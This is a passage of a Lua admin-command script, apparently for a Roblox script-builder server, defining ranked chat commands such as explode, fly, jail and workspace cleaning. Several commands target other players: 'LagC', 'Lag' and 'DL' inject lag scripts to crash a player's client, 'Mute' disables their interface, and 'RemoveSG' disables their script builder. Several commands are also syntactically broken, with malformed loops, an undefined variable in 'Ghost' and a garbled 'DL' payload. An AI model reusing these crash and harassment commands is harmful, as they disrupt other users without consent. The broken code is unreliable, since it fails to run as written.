  11969.                         table.insert(PlayerTablets, v)
  11970.                     end
  11971.                 end
  11972.                 for x,t in pairs(game:service'Workspace':children()) do
  11973.                     if t.Name == Player:GetPlayer().Name then
  11974.                         Plr = t
  11975.                     end
  11976.                 end
  11977.                 for i = 1, #PlayerTablets do
  11978.                     ypcall(function()
  11979.                         local pos = CFrame.new(0,0,0)
  11980.                         if Plr.ClassName == 'Part' then
  11981.                             pos = Plr.CFrame
  11982.                         elseif Plr:findFirstChild'Torso' then
  11983.                             pos = Plr:findFirstChild'Torso'.CFrame
  11984.                         end
  11985.                         local tab = PlayerTablets[i].Tab
  11986.                         local pos = CFrame.new(0,0,0)
  11987.                         ypcall(function()
  11988.                             if Plr.ClassName == 'Part' then
  11989.                             pos = Player.CFrame
  11990.                         elseif Plr:findFirstChild'Torso' then
  11991.                             pos = Plr:findFirstChild'Torso'.CFrame
  11992.                         end
  11993.                         end)
  11994.                         local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  11995.                         local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  11996.                         local cPos = tab.Position
  11997.                         local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  11998.                         local nPos = (ePos-cPos)*.25
  11999.                         cPos = cPos + nPos
  12000.                         tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
  12001.                        
  12002.                     end)
  12003.                 end
  12004.                     end
  12005.                 end
  12006.             end
  12007.         end)
  12008. end
  12009. Plrs.PlayerAdded:connect(function(Plr)
  12010.     wait(.1)
  12011.     ypcall(function()
  12012.         if Removed == false then
  12013.             local JoinPlrName = Plr.Name
  12014.             coroutine.resume(coroutine.create(function()
  12015.                 PlaceSpecificRank(Plr)
  12016.             end))
  12017.             coroutine.resume(coroutine.create(function()
  12018.                 if Injected[JoinPlrName] ~= nil then
  12019.                     Injected[JoinPlrName] = nil
  12020.                 end
  12021.             end))
  12022.             coroutine.resume(coroutine.create(function()
  12023.                 Dismiss(Plr)
  12024.                 Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  12025.             end))
  12026.         end
  12027.     end)
  12028. end)
  12029. Plrs.PlayerRemoving:connect(function(Plr)
  12030.     wait(.1)
  12031.     ypcall(function()
  12032.         if Removed == false then
  12033.             local LeftPlrName = Plr.Name
  12034.             coroutine.resume(coroutine.create(function()
  12035.                 if Injected[LeftPlrName] ~= nil then
  12036.                     Injected[LeftPlrName] = nil
  12037.                 end
  12038.             end))
  12039.         end
  12040.     end)
  12041. end)
  12042. Command("Cmds", 1, "Shows the list of commands", function(Msg, Speaker)
  12043.     Dismiss(Speaker.Name)
  12044.     Output("KKA Tablets made by Cobalt1164 | More credits in info/",Speaker,nil,nil,Database.Colors.Green)
  12045.     Output("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  12046.     Output("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  12047.     Output("Rank 0", Speaker, nil, function()
  12048.         if FindRank(Speaker) >= 0 then
  12049.             OpenCmds(0, Speaker)
  12050.        
  12051.         end
  12052.         end)
  12053.     Output("Rank 1", Speaker, nil, function()
  12054.         if FindRank(Speaker) >= 1 then
  12055.             OpenCmds(1, Speaker)
  12056.        
  12057.         end
  12058.         end)
  12059.     Output("Rank 2", Speaker, nil, function()
  12060.         if FindRank(Speaker) >= 2 then
  12061.             OpenCmds(2, Speaker)
  12062.        
  12063.         end
  12064.     end)
  12065.     Output("Rank 3", Speaker, nil, function()
  12066.         if FindRank(Speaker) >= 3 then
  12067.             OpenCmds(3, Speaker)
  12068.        
  12069.         end
  12070.     end)
  12071.     Output("Rank 4", Speaker, nil, function()
  12072.         if FindRank(Speaker) >= 4 then
  12073.             OpenCmds(4, Speaker)
  12074.        
  12075.         end
  12076.     end)
  12077.     Output("Rank 5", Speaker, nil, function()
  12078.         if FindRank(Speaker) >= 5 then
  12079.             OpenCmds(5, Speaker)
  12080.        
  12081.         end
  12082.     end)
  12083.     Output("Rank 6", Speaker, nil, function()
  12084.         if FindRank(Speaker) >= 6 then
  12085.             OpenCmds(6, Speaker)
  12086.        
  12087.         end
  12088.     end)
  12089.     Output("Rank 7", Speaker, nil, function()
  12090.         if FindRank(Speaker) >= 7 then
  12091.             OpenCmds(7, Speaker)
  12092.        
  12093.         end
  12094.     end)
  12095. end)
  12096.  
  12097. Command("Dtt", 1, "Dismiss someones Tablets" ,function(Msg, Speaker)
  12098.     local PlrTab = getPlayer(Speaker, Msg)
  12099.     if #PlrTab > 0 then
  12100.         for _,v in pairs(PlrTab) do
  12101.             ypcall(function()
  12102.                 Dismiss(v)
  12103.             end)
  12104.         end
  12105.     end
  12106. end)
  12107. Command("Dall", 6, "Dismiss All Tablets" ,function(Msg, Speaker)
  12108.     Dismiss()
  12109. end)
  12110. Command("Dt", 1, "Dismiss your Tablets" ,function(Msg, Speaker)
  12111.     Dismiss(Speaker.Name)
  12112. end)
  12113. Command("btools", 3, "Gives a player Btools", function(Msg, Speaker)
  12114.     local PlrTab = getPlayer(Speaker, Msg)
  12115.     if #PlrTab > 0 then
  12116.         for _,v in pairs(PlrTab) do
  12117.             ypcall(function()
  12118.                 Instance.new("HopperBin", v.Backpack).BinType = "Hammer"
  12119.                 Instance.new("HopperBin", v.Backpack).BinType = "Clone"
  12120.                 Instance.new("HopperBin", v.Backpack).BinType = "Grab"
  12121.                 Output("Gave "..v.Name.." Building Tools", Speaker, 5)
  12122.             end)
  12123.         end
  12124.     end
  12125. end)
  12126. Command("rlegs", 3, "Removes a player's legs",
  12127.     function(Msg, Speaker)
  12128.     local PlrTab = getPlayer(Speaker, Msg)
  12129.     if #PlrTab > 0 then
  12130.         for _,v in pairs(PlrTab) do
  12131.             ypcall(function()
  12132.                 for plr in pairs(v.Character) do
  12133.                     if plr.Name == "Left Leg" or plr.Name == "Right Leg" then
  12134.                         plr:Remove()
  12135.                     Output("Removed "..v.Name.."'s legs", Speaker, 5)
  12136.                     end
  12137.                 end
  12138.             end)
  12139.         end
  12140.     end
  12141. end)
  12142. Command("rarms", 3, "Removes a player's arms",
  12143.     function(Msg, Speaker)
  12144.     local PlrTab = getPlayer(Speaker, Msg)
  12145.     if #PlrTab > 0 then
  12146.         for _,v in pairs(PlrTab) do
  12147.             ypcall(function()
  12148.                 for plr in pairs(v.Character) do
  12149.                     if plr.Name == "Left Arm" or plr.Name == "Right Arm" then
  12150.                         plr:Remove()
  12151.                     Output("Removed "..v.Name.."'s arms", Speaker, 5)
  12152.                     end
  12153.                 end
  12154.             end)
  12155.         end
  12156.     end
  12157. end)
  12158. Command("Afrup", 1, "Asks admins for a rank up", function(Msg, Speaker)
  12159.     Output(Speaker.Name.." wants to be ranked up", Plrs:children(), 5)
  12160. end)
  12161. Command("Afb", 1, "Asks to battle", function(Msg, Speaker)
  12162.     Output(Speaker.Name.." wants to battle", Plrs:children(), 5)
  12163. end)
  12164. Command("Expl", 3, "Explodes a player",
  12165.     function(Msg, Speaker)
  12166.     local PlrTab = getPlayer(Speaker, Msg)
  12167.     if #PlrTab > 0 then
  12168.         for _,v in pairs(PlrTab) do
  12169.             ypcall(function()
  12170.                 if v.Character and v.Character:findFirstChild("Head") then
  12171.                         local e = Instance.new("Explosion")
  12172.                         e.Position = v.Character.Head.Position
  12173.                         e.Parent = v.Character
  12174.                 Output("Exploded "..v.Name, Speaker, 5)
  12175.                 end
  12176.             end)
  12177.         end
  12178.     end
  12179. end)
  12180. Command("RModel", 7, "Rejoins a model", function(Msg, Speaker)
  12181.     game:service'TeleportService':Teleport(game.PlaceId,game.Workspace[Msg])
  12182. end)
  12183. Command("Mute", 7, "Mutes a player", function(Msg, Speaker)
  12184.     local PlrTab = getPlayer(Speaker, Msg)
  12185.     if #PlrTab > 0 then
  12186.         for _,v in pairs(PlrTab) do
  12187.             ypcall(function()
  12188.                 if v.Name ~= Owner then
  12189.                     NewLS([[game:service'StarterGui':SetCoreGuiEnabled('All',false)]],v.Backpack)
  12190.                     Output("Muted "..v.Name, Speaker, 5)
  12191.                 end
  12192.             end)
  12193.         end
  12194.     end
  12195. end)
  12196. Command("Rej", 5, "Rejoin a player", function(Msg, Speaker)
  12197.     local PlrTab = getPlayer(Speaker, Msg)
  12198.     if #PlrTab > 0 then
  12199.         for _,v in pairs(PlrTab) do
  12200.             ypcall(function()
  12201.                 game:service'TeleportService':Teleport(game.PlaceId,v.Character)
  12202.                 Output("Rejoined "..v.Name, Speaker, 5)
  12203.             end)
  12204.         end
  12205.     end
  12206. end)
  12207. Command("LagC", 6, "Lag crashes a player", function(Msg, Speaker)
  12208.     local PlrTab = getPlayer(Speaker, Msg)
  12209.     if #PlrTab > 0 then
  12210.         for _,v in pairs(PlrTab) do
  12211.             ypcall(function()
  12212.                 NewLS(LagSource, v.Backpack)
  12213.                 v:Kick()
  12214.                 Output("Lag Crashing "..v.Name, Speaker, 5)
  12215.             end)
  12216.         end
  12217.     end
  12218. end)
  12219. Command("Unmute", 3, "Unmutes a player", function(Msg, Speaker)
  12220.     local PlrTab = getPlayer(Speaker, Msg)
  12221.     if #PlrTab > 0 then
  12222.         for _,v in pairs(PlrTab) do
  12223.             ypcall(function()
  12224.                 NewLS([[game:service'StarterGui':SetCoreGuiEnabled('All',true)]],v.Backpack)
  12225.                 Output("Unmuted "..v.Name, Speaker, 5)
  12226.             end)
  12227.         end
  12228.     end
  12229. end)
  12230.  
  12231. Command("DisableS", 5, "Disables a script", function(Msg, Speaker)
  12232.     local Worked = false
  12233.     for _,v in pairs(Work:GetChildren()) do
  12234.         if string.find(v.Name:lower(), Msg:lower()) then
  12235.             if v:IsA("Script") or v:IsA("LocalScript") then
  12236.                 v.Disabled = true
  12237.                 v:Destroy()
  12238.                 Worked = true
  12239.                 Output("Disabled : "..v.Name, Speaker, 5)
  12240.             end
  12241.         end
  12242.     end
  12243.     if Worked == false then
  12244.         Output("Script False Found", Speaker, 5)
  12245.     end
  12246. end)
  12247.  
  12248. Command("Los", 1, "Locates scripts in workspace", function(Msg, Speaker)
  12249.     Dismiss(Speaker)
  12250.     local AllScripts = {}
  12251.     for _,v in pairs(Work:GetChildren()) do
  12252.         if v:IsA("Script") then
  12253.             table.insert(AllScripts, v.Name)
  12254.         end
  12255.     end
  12256.     if #AllScripts > 0 then
  12257.         for _,v in pairs(AllScripts) do
  12258.             Output(v, Speaker)
  12259.         end
  12260.     else
  12261.         Output("No Scripts Found", Speaker, 5)
  12262.     end
  12263. end)
  12264.  
  12265. Command("Afk",1,'Tells other players that your AFK',
  12266.      function(Msg,Speaker)
  12267.         Dismiss(Speaker)
  12268.        
  12269.                
  12270.                         Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random)
  12271.  Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random)
  12272.  Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random)
  12273.  Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random)
  12274.  Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random)
  12275.  Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random)
  12276.  Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random)
  12277.  
  12278.                        
  12279.                  
  12280.         end)
  12281. Command("Back",1,'Tells other players that you have returned',
  12282.      function(Msg,Speaker)
  12283.         Dismiss(Speaker)
  12284.                 for i = 1,8 do
  12285.                         Output('Welcome back!',Speaker,6)
  12286.                     wait(.1)
  12287.             end
  12288.         end)
  12289. Command("Lss", 1, "Shows all local scripts", function(Msg, Speaker)
  12290.     Dismiss(Speaker)
  12291.     local LocalScripts = {}
  12292.     for _,v in pairs(All()) do
  12293.         ypcall(function()
  12294.             for _,x in pairs(v.Character:GetChildren()) do
  12295.                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  12296.                     table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  12297.                 end
  12298.             end
  12299.         end)
  12300.         ypcall(function()
  12301.             for _,x in pairs(v.Backpack:GetChildren()) do
  12302.                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  12303.                     table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  12304.                 end
  12305.             end
  12306.         end)
  12307.         ypcall(function()
  12308.             for _,x in pairs(v.PlayerGui:GetChildren()) do
  12309.                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  12310.                     table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  12311.                 end
  12312.             end
  12313.         end)
  12314.     end
  12315.     if #LocalScripts > 0 then
  12316.         for _,v in pairs(LocalScripts) do
  12317.             Output(v, Speaker)
  12318.         end
  12319.     else
  12320.         Output("No Local Scripts Found", Speaker, 5)
  12321.     end
  12322. end)
  12323. Command("DisableLS", 5, "Disables a local script", function(Msg, Speaker)
  12324.     local Split = GetSplit(Msg)
  12325.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  12326.     local ScriptName = Msg:sub(Split + 1)
  12327.     local FoundLocal = false
  12328.     for _,name in pairs(PlrTab) do
  12329.         ypcall(function()
  12330.             for _,v in pairs(name.Character:GetChildren()) do
  12331.                 if string.find(v.Name:lower(), ScriptName) then
  12332.                     if v:IsA("Script") or v:IsA("LocalScript") then
  12333.                         v.Disabled = true
  12334.                         v:Destroy()
  12335.                         FoundLocal = true
  12336.                         Output("Disabled Local Script: "..v.Name, Speaker, 5)
  12337.                     end
  12338.                 end
  12339.             end
  12340.         end)
  12341.         ypcall(function()
  12342.             for _,v in pairs(name.Backpack:GetChildren()) do
  12343.                 if string.find(v.Name:lower(), ScriptName) then
  12344.                     if v:IsA("Script") or v:IsA("LocalScript") then
  12345.                         v.Disabled = true
  12346.                         v:Destroy()
  12347.                         FoundLocal = true
  12348.                         Output("Disabled Local Script: "..v.Name, Speaker, 5)
  12349.                     end
  12350.                 end
  12351.             end
  12352.         end)
  12353.         ypcall(function()
  12354.             for _,v in pairs(name.PlayerGui:GetChildren()) do
  12355.                 if string.find(v.Name:lower(), ScriptName) then
  12356.                     if v:IsA("Script") or v:IsA("LocalScript") then
  12357.                         v.Disabled = true
  12358.                         v:Destroy()
  12359.                         FoundLocal = true
  12360.                         Output("Disabled Local Script: "..v.Name, Speaker, 5)
  12361.                     end
  12362.                 end
  12363.             end
  12364.         end)
  12365.         if FoundLocal == false then
  12366.             Output("Local Script False Found", Speaker, 5)
  12367.         end
  12368.     end
  12369. end)
  12370. Command("mClean", 5, "Mega Clean", function(Msg, Speaker)
  12371.     NewS([[
  12372.     for _,v in pairs(game.Workspace:GetChildren()) do
  12373.     if v.Name ~= "Terrain" then
  12374.     v:Destroy()
  12375.     end
  12376.     end
  12377.     ]],game.Workspace)
  12378.     a = Instance.new("Part")
  12379.     a.Parent = game.Workspace
  12380.     a.Name = "Base"
  12381.     a.Position = Vector3.new(0, 0.6, 0)
  12382.     a.Size = Vector3.new(1002, 0, 1002)
  12383.     a.Material = "Grass"
  12384.     a.Anchored = true
  12385.     a.BrickColor = BrickColor.new("Earth green")
  12386.     NewS([[
  12387.     for _,v in pairs(game.Players:GetChildren()) do
  12388.     v:LoadCharacter()
  12389.     end
  12390.     ]], game.Workspace)
  12391.     Output("Mega Cleaned.", Speaker, 5)
  12392. end)
  12393. Command("Base", 3, "Creates a new base", function(Msg, Speaker)
  12394.         if game.Workspace:findFirstChild("Base") then
  12395.                 game.Workspace.Base:Remove()
  12396.         end
  12397.         if game.Workspace:findFirstChild("Part") then
  12398.                 game.Workspace.Part:Remove()
  12399.         end
  12400.         if game.Workspace:findFirstChild("Baseplate") then
  12401.                 game.Workspace.Baseplate:Remove()
  12402.         end
  12403.         a = Instance.new("Part")
  12404.     a.Parent = game.Workspace
  12405.     a.Name = "Base"
  12406.     a.Position = Vector3.new(0, 0.6, 0)
  12407.     a.Size = Vector3.new(1002, 0, 1002)
  12408.     a.Material = "Grass"
  12409.     a.Anchored = true
  12410.     a.BrickColor = BrickColor.new("Earth green")
  12411.     Output("Successfully created a new base",Speaker)
  12412. end)
  12413. Command("BallBase", 3, "Creates a new ball shaped base", function(Msg, Speaker)
  12414.         if game.Workspace:findFirstChild("Base") then
  12415.                 game.Workspace.Base:Remove()
  12416.         end
  12417.         if game.Workspace:findFirstChild("Part") then
  12418.                 game.Workspace.Part:Remove()
  12419.         end
  12420.         if game.Workspace:findFirstChild("Baseplate") then
  12421.                 game.Workspace.Baseplate:Remove()
  12422.         end
  12423.     a = Instance.new("Part")
  12424.     a.Parent = game.Workspace
  12425.     a.Name = "Base"
  12426.     a.Shape = "Ball"
  12427.     a.Position = Vector3.new(0, 0.6, 0)
  12428.     a.Size = Vector3.new(1002, 0, 1002)
  12429.     a.Material = "Grass"
  12430.     a.Anchored = true
  12431.     a.BrickColor = BrickColor.new("Dark green")
  12432.     Output("Successfully created a new ball shaped base",Speaker)
  12433. end)
  12434. Command("Cl", 5, "Cleans the server", function(Msg, Speaker)
  12435.     for _,v in pairs(game.Workspace:children()) do
  12436.         if v:IsA "Script" or v:IsA "LocalScript" or v:IsA "Message" or v:IsA "Hint" or v:IsA "Explosion" then
  12437.             v:Remove()
  12438.         end
  12439.     Output("Lightly cleaned workspace", Speaker, 5)
  12440.     end
  12441. end)
  12442. Command("Priadd", 3, "Adds a player into the private servers list", function(Msg, Speaker)
  12443.     local PlrTab = getPlayer(Speaker, Msg)
  12444.     if #PlrTab > 0 then
  12445.         for _,v in pairs(PlrTab) do
  12446.             ypcall(function()
  12447.                 table.insert(PrivPlrs, v)
  12448.                 Output("Added "..v.Name.." into the Private Players list", Speaker, 5)
  12449.             end)
  12450.         end
  12451.     end
  12452. end)
  12453. Command("God", 3, "Makes a player immortal", function(Msg, Speaker)
  12454.     local PlrTab = getPlayer(Speaker, Msg)
  12455.     if #PlrTab > 0 then
  12456.         for _,v in pairs(PlrTab) do
  12457.             ypcall(function()
  12458.                 v.Character.Humanoid.MaxHealth = math.huge
  12459.                 Output("Godded "..v.Name, Speaker, 5)
  12460.             end)
  12461.         end
  12462.     end
  12463. end)
  12464. Command("Ungod", 3, "Makes a player mortal", function(Msg, Speaker)
  12465.     local PlrTab = getPlayer(Speaker, Msg)
  12466.     if #PlrTab > 0 then
  12467.         for _,v in pairs(PlrTab) do
  12468.             ypcall(function()
  12469.                 v.Character.Humanoid.Health = 100
  12470.                 wait()
  12471.                 v.Character.Humanoid.MaxHealth = 100
  12472.                 Output("Ungodded "..v.Name, Speaker, 5)
  12473.             end)
  12474.         end
  12475.     end
  12476. end)
  12477.  
  12478.  
  12479. Command("Lag", 7, "Lags a player", function(Msg, Speaker)
  12480.     local PlrTab = getPlayer(Speaker, Msg)
  12481.     if #PlrTab > 0 then
  12482.         for _,v in pairs(PlrTab) do
  12483.             ypcall(function()
  12484.                 v.CameraMode = "LockFirstPerson"
  12485.                 wait()
  12486.                 NewLS(LagSource, v.Backpack)
  12487.                 Output("Lagged "..v.Name.." badly", Speaker, 5)
  12488.             end)
  12489.         end
  12490.     end
  12491. end)
  12492. Command("DL", 7, "Makes a player lag very bad", function(Msg, Speaker)
  12493.     local PlrTab = getPlayer(Speaker, Msg)
  12494.     if #PlrTab > 0 then
  12495.         for _,v in pairs(PlrTab) do
  12496.             ypcall(function()
  12497.                 NewLS([[repeat Instance.new("Message"
  12498.                 until, game.Players.LocalPlayer.PlayerGui).
  12499.                 Text = "Such Lag"
  12500.                 until
  12501.                 return]], v.Backpack)
  12502.             end)
  12503.         end
  12504.     end
  12505. end)
  12506. Command("MiniP", 7, "Gives a player minipeep", function(Msg, Speaker)
  12507.     local PlrTab = getPlayer(Speaker, Msg)
  12508.     if #PlrTab > 0 then
  12509.         for _,v in pairs(PlrTab) do
  12510.             ypcall(function()
  12511.                 NewLS(MiniPeep, v.Backpack)
  12512.                 Output("Gave "..v.Name.." Mini-Peep", Speaker, 5)
  12513.             end)
  12514.         end
  12515.     end
  12516. end)
  12517. Command("ClrB", 7, "Clears a player's backpack", function(Msg, Speaker)
  12518.     local PlrTab = getPlayer(Speaker, Msg)
  12519.     if #PlrTab > 0 then
  12520.         for _,v in pairs(PlrTab) do
  12521.             ypcall(function()
  12522.                 v.Backpack:ClearAllChildren()
  12523.                 Output("Cleared "..v.Name.."'s backpack", Speaker, 5)
  12524.             end)
  12525.         end
  12526.     end
  12527. end)
  12528. Command("RemvB", 7, "Removes a player's backpack", function(Msg, Speaker)
  12529.     local PlrTab = getPlayer(Speaker, Msg)
  12530.     if #PlrTab > 0 then
  12531.         for _,v in pairs(PlrTab) do
  12532.             ypcall(function()
  12533.                 v.Backpack:Remove()
  12534.                 Output("Removed "..v.Name.."'s backpack", Speaker, 5)
  12535.             end)
  12536.         end
  12537.     end
  12538. end)
  12539. Command("Raven", 7, "Gives a player a raven", function(Msg, Speaker)
  12540.     local PlrTab = getPlayer(Speaker, Msg)
  12541.     if #PlrTab > 0 then
  12542.         for _,v in pairs(PlrTab) do
  12543.             ypcall(function()
  12544.                 NewLS(Raven, v.Backpack)
  12545.                 Output("Gave "..v.Name.." a raven", Speaker, 5)
  12546.             end)
  12547.         end
  12548.     end
  12549. end)
  12550. Command("Fly", 7, "Flies a player", function(Msg, Speaker)
  12551.     local PlrTab = getPlayer(Speaker, Msg)
  12552.     if #PlrTab > 0 then
  12553.         for _,v in pairs(PlrTab) do
  12554.             ypcall(function()
  12555.                 NewLS(Fly, v.Backpack)
  12556.                 Output("Press E to Fly!", v, 5)
  12557.             end)
  12558.         end
  12559.     end
  12560. end)
  12561. Command("Jail", 3, "Jails a player", function(Msg, Speaker)
  12562.     local PlrTab = getPlayer(Speaker, Msg)
  12563.     if #PlrTab > 0 then
  12564.         for _,v in pairs(PlrTab) do
  12565.             ypcall(function()
  12566.                 NewLS(JailSource, v.Backpack)
  12567.                 Output("Jailed"..v.Name.."", Speaker, 5)
  12568.             end)
  12569.         end
  12570.     end
  12571. end)
  12572. Command("Ghost", 2, "Ghostifys a player", function(Msg, Speaker)
  12573.     local PlrTab = getPlayer(Speaker, Msg)
  12574.     if #PlrTab > 0 then
  12575.         for _,c in pairs(PlrTab) do
  12576.             ypcall(function()
  12577.                 for c, pairs in (v.Character:children()) do
  12578.                     if c:IsA("Part") then
  12579.                         c.Transparency = 0.5
  12580.                     end
  12581.                 end
  12582.                 Output("Turned "..v.Name.." into a ghost", Speaker, 5)
  12583.             end)
  12584.         end
  12585.     end
  12586. end)
  12587. Command("Invisible", 3, "Makes a player invisible", function(Msg, Speaker)
  12588.     local PlrTab = getPlayer(Speaker, Msg)
  12589.     if #PlrTab > 0 then
  12590.         for _,v in pairs(PlrTab) do
  12591.             ypcall(function()
  12592.                 for _, c in pairs(v.Character:children()) do
  12593.                     if c:IsA("Part") then
  12594.                         c.Transparency = 1
  12595.  
  12596.                     end
  12597.                 end
  12598.                
  12599.                 Output("Disappeared "..v.Name, Speaker, 5)
  12600.             end)
  12601.         end
  12602.     end
  12603. end)
  12604. Command("Visible", 3, "Makes a player visible", function(Msg, Speaker)
  12605.     local PlrTab = getPlayer(Speaker, Msg)
  12606.     if #PlrTab > 0 then
  12607.         for _,v in pairs(PlrTab) do
  12608.             ypcall(function()
  12609.                 for _,c in pairs(v.Character:children()) do
  12610.                     if c:IsA("Part") then
  12611.                         c.Transparency = 0
  12612.                     end
  12613.                 end
  12614.                 Output("Showed "..v.Name, Speaker, 5)
  12615.             end)
  12616.         end
  12617.     end
  12618. end)
  12619. Command("Shine", 3, "Makes a player shiny", function(Msg, Speaker)
  12620.     local PlrTab = getPlayer(Speaker, Msg)
  12621.     if #PlrTab > 0 then
  12622.         for _,v in pairs(PlrTab) do
  12623.             ypcall(function()
  12624.                 for c, pairs in (v.Character:children()) do
  12625.                     if c:IsA("Part") then
  12626.                         c.Reflectance = 1
  12627.                     end
  12628.                 end
  12629.                 Output("Shinied "..v.Name, Speaker, 5)
  12630.             end)
  12631.         end
  12632.     end
  12633. end)
  12634. Command("Unshine", 3, "Makes a player unshiny", function(Msg, Speaker)
  12635.     local PlrTab = getPlayer(Speaker, Msg)
  12636.     if #PlrTab > 0 then
  12637.         for _,v in pairs(PlrTab) do
  12638.             ypcall(function()
  12639.                 for c, pairs in (v.Character:children()) do
  12640.                     if c:IsA("Part") then
  12641.                         c.Reflectance = 0
  12642.                     end
  12643.                 end
  12644.                 Output("Removed shininess from "..v.Name, Speaker, 5)
  12645.             end)
  12646.         end
  12647.     end
  12648. end)
  12649. Command("Noob", 3, "Turns a player into a noob", function(Msg, Speaker)
  12650.     local PlrTab = getPlayer(Speaker, Msg)
  12651.     if #PlrTab > 0 then
  12652.         for _,v in pairs(PlrTab) do
  12653.             ypcall(function()
  12654.                 NewLS(Noob, v.Backpack)
  12655.                 Output("Noobifyed "..v.Name, Speaker, 5)
  12656.             end)
  12657.         end
  12658.     end
  12659. end)
  12660. Command("RCLO", 3, "Removes a player's clothing", function(Msg, Speaker)
  12661.     local PlrTab = getPlayer(Speaker, Msg)
  12662.     if #PlrTab > 0 then
  12663.         for _,v in pairs(PlrTab) do
  12664.             ypcall(function()
  12665.                 for c, pairs in (v.Character:children()) do
  12666.                     if c:IsA("Shirt") then
  12667.                         c:remove()
  12668.                     elseif c:IsA("Pants") then
  12669.                         c:remove()
  12670.                     end
  12671.                 end
  12672.                 Output("Nkd "..v.Name, Speaker, 5)
  12673.             end)
  12674.         end
  12675.     end
  12676. end)
  12677. Command("RemoveSG", 6, "Removes a player's SB", function(Msg, Speaker)
  12678.     local PlrTab = getPlayer(Speaker, Msg)
  12679.     if #PlrTab > 0 then
  12680.         for _,v in pairs(PlrTab) do
  12681.             ypcall(function()
  12682.                 NewLS(DisSB, v.Backpack)
  12683.                 Output("Disabled "..v.Name.."'s SB", Speaker, 5)
  12684.             end)
  12685.         end
  12686.     end
  12687. end)
  12688. Command("Respawn", 3, "Respawns a player", function(Msg, Speaker)
  12689.     local PlrTab = getPlayer(Speaker, Msg)
  12690.     if #PlrTab > 0 then
  12691.         for _,v in pairs(PlrTab) do
  12692.             ypcall(function()
  12693.                 v:LoadCharacter()
  12694.                 Output("Respawned "..v.Name, Speaker, 5)
  12695.             end)
  12696.         end
  12697.     end
  12698. end)
  12699. Command("Home", 1, "Teleports the server home", function(Msg, Speaker)
  12700. local PlrTab = getPlayer(Speaker, Msg)
  12701.     if #PlrTab > 0 then
  12702.         for _,v in pairs(PlrTab) do
  12703.             ypcall(function()
  12704.     repeat wait() until v.Character:findFirstChild("Torso")
  12705.     if Work:findFirstChild("Base") then
  12706.         v.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  12707.     else
  12708.         v.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  12709.     end
  12710.     Output("Teleported "..v.Name.." Home", Speaker, 5)
  12711. end)
  12712. end
  12713. end
  12714. end)
  12715. Command("Freeze", 3, "Makes a player frozen", function(Msg, Speaker)
  12716.     local PlrTab = getPlayer(Speaker, Msg)
  12717.     if #PlrTab > 0 then
  12718.         for _,v in pairs(PlrTab) do
  12719.             ypcall(function()
  12720.                 v.Character.Torso.Anchored = true
  12721.                 Output("Froze "..v.Name, Speaker, 5)
  12722.             end)
  12723.         end
  12724.     end
  12725. end)
  12726. Command("Thaw", 3, "Makes a player unfrozen", function(Msg, Speaker)
  12727.     local PlrTab = getPlayer(Speaker, Msg)
  12728.     if #PlrTab > 0 then
  12729.         for _,v in pairs(PlrTab) do
  12730.             ypcall(function()
  12731.                 for _,v2 in pairs(v.Character:GetChildren()) do
  12732.                     ypcall(function()
  12733.                         v.Anchored = false
  12734.                     end)
  12735.                 end
  12736.                 Output("Thawed "..v.Name, Speaker, 5)
  12737.             end)
  12738.         end
  12739.     end
  12740. end)
  12741. Command("Bet", 1, "Shows current bet", function(Msg, Speaker)
  12742.     Bet = (tostring(Msg))
  12743.     Output("The current bet is '"..Bet.. "'", nil, nil)
  12744. end)
  12745. Command("CheckSB", 1, "Checks what SB you are on", function(Msg, Speaker)
  12746.     Output("You are on "..SB.."'s SB.", Speaker, nil)
  12747. end)
  12748. Command("Version", 1, "Checks the admin's Version", function(Msg, Speaker)
  12749.     Output("Version is "..Version, Speaker, nil)
  12750. end)   
  12751. Command("Updates", 1, "Shows what was updated", function(Msg, Speaker)
  12752.     Output("Updates: "..Updates, Speaker, nil)
  12753. end)
  12754. Command("Time", 3, "Turns the time to day/night/morning", function(Msg, Speaker)
  12755.     if Msg == "night" then
  12756.     NewS(Night, game.Workspace)
  12757.     elseif Msg == "day" then
  12758.     NewS(Day, game.Workspace)
  12759.     elseif Msg == "morn" then
  12760.     NewS(Morning, game.Workspace)
  12761.     end
  12762. end)
  12763. Command("Pri", 7, "Turns private server on/off", function(Msg, Speaker)
  12764.     if Msg == "on" then
  12765.     Priv = true
  12766.     elseif Msg == "off" then
  12767.     Priv = false
  12768.     end
  12769. end)
  12770. Command("GlobalSh", 3, "Turns Global Shadows off/on", function(Msg, Speaker)
  12771.     if Msg == "on" then
  12772.     game.Lighting.GlobalShadows = true
  12773.     elseif Msg == "off" then
  12774.     game.Lighting.GlobalShadows = false
  12775.     end
  12776. end)
  12777. Command("OutL", 3, "Turns Outlines off/on", function(Msg, Speaker)
  12778.     if Msg == "on" then
  12779.     game.Lighting.Outlines = true
  12780.     elseif Msg == "off" then
  12781.     game.Lighting.Outlines = false
  12782.     end
  12783. end)
  12784. Command("GeogrL", 3, "Changes the Geographic Latitude", function(Msg, Speaker)
